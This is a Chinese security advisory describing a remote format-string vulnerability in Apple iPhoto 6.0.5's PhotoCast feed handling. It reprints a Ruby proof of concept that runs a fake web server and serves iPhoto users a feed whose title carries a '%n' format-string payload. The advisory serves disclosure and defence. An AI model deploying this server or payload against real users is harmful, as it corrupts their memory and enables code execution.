安全研究

安全漏洞
Apple iLife iPhoto PhotoCast XML远程格式串处理漏洞

发布日期:2007-01-02
更新日期:2007-01-08

受影响系统:
Apple iLife iPhoto 6.0.5 (316)
描述:
BUGTRAQ  ID: 21871

Apple iLife iPhoto软件允许用户在网站上制作并分享照片页面。

iLife iPhoto在处理Photocast XML feed时存在格式串处理漏洞,远程攻击者可能利用此漏洞在用户机器上执行任意指令。

如果Photocast XML feed的“title”标签包含有特制的格式串标识符的话,则用户受骗订阅了该Photocast feed就会导致在客户端机器上执行任意指令。

<*来源:Kevin Finisterre (dotslash@snosoft.com
  
  链接:http://secunia.com/advisories/23615/
        http://projects.info-pull.com/moab/MOAB-04-01-2007.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/ruby
#
# (c) 2006 LMH <lmh [at] info-pull.com>
# bug by Kevin Finisterre <kf_lists [at] digitalmunition.com>
# proof of concept for MOAB-04-01-2007
# see http://projects.info-pull.com/moab/MOAB-04-01-2007.rb

require 'socket'

IPHOTO_FEED = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n" +
              "<rss version=\"2.0\" xmlns:aw=\"http://www.apple.com/ilife/wallpapers\">\r\n" +
              "<channel>\r\n" +
              "<title>" + ("A" * 256) + "%x.%n.%n.%n.%n.%n</title>\r\n" +
              "<item>\r\n" +
              "<title>In Gruber We Trust</title>\r\n" +
              "<aw:image>http://www.digitalmunition.com/digital_munitions_detonator.jpg\r\n" +
              "</aw:image>\r\n" +
              "</item>\r\n" +
              "</channel>\r\n" +
              "</rss>\r\n"

web_port    = (ARGV[0] || 80).to_i

puts "++ Starting fake HTTP server at port #{web_port}."
web_server  = TCPServer.new(nil, web_port)
while (session = web_server.accept)
  user_agent = session.recvfrom(2000)[0].scan(/User-Agent: (.*)/).flatten[0]
  session.print "HTTP/1.1 200/OK\r\nServer: Unabomber/1.0\r\n"
  
  # Check if remote user-agent is iPhoto.
  if user_agent.scan(/iPhoto/).size < 1
    puts "-- User connected (#{session.peeraddr[3]}) but not running iPhoto, sending bullshit."
    session.print "Content-type: text/plain\r\n\r\n"
    session.print "All your Aunt Sophia are belong to us."
  else
    puts "++ iPhoto #{user_agent.scan(/iPhoto\/(.+?) /)[0]} user connected (#{session.peeraddr[3]}), " +
         "sending payload (#{IPHOTO_FEED.size} bytes)."
    session.print "Content-type: text/xml\r\n\r\n"
    session.print IPHOTO_FEED
  end

  session.close
end

建议:
厂商补丁:

Apple
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.apple.com

浏览次数:2596
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障